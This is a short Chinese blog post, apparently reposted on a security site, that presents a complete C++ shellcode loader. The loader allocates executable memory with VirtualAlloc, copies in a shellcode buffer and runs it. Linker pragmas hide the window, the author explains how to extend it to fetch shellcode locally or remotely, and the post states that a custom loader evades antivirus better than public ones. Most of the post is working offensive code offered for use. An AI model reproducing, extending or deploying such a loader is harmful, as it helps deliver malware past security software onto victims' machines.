C++ ShellCode 加载器

admin 2023年12月15日23:51:51评论23 views字数 616阅读2分3秒阅读模式

通过 Win32 API 实现从内存中加载 ShellCode.

之前也用过 Python Go 方式的 ShellCode 执行器, 不过使用 C++ 编译的文件体积会小很多.

#include <Windows.h>

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"Run\"")  
#pragma comment(linker, "/INCREMENTAL:NO")   

unsigned char buf[] = "shellcode";


int Run()
{
	LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(Memory, buf, sizeof(buf));
	((void(*)())Memory)();
	return 0;
}

两行预编译代码用来隐藏窗口和自定义入口点, 实测把 main 改掉以后体积缩小了一大半.

Windows 10 1903 下使用 Visual Studio 2019 编译后大小为 4kb.

至于 ShellCode 加载器, 已经给出了上面的代码, 拓展一下写出一个简单的 loader 也并不困难, 无非就是本地读取和远程读取两种方式. 而且使用自己写的工具而不是网上被大量使用的 shellcode launcher, 会更容易地绕过杀软.

cpploader

- By:X1r0z[exp10it.cn]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月15日23:51:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   C++ ShellCode 加载器http://cn-sec.com/archives/2306600.html

发表评论

匿名网友 填写信息